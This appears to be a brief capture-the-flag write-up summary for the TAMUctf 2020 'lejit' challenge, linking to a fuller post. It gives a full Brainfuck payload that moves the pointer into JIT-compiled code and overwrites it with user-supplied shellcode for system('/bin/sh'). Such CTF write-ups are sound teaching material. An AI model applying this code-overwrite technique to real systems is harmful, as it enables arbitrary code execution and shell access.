TL;DR:
1. `<.` * 100 to *move pointer to the negative* into jit-copiled bytecode padding
2. `,` * 100 *read* command to write 100 signs into the jit-compiled bytecode. paste in any shellcode for `system("/bin/sh")` in here
3. `<>` * 100 *NOP-padding* to be overwritten by bytecode.

Full payload: `<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>`

Original writeup (https://www.sigflag.at/blog/2020/writeup-tamuctf2020-lejit/).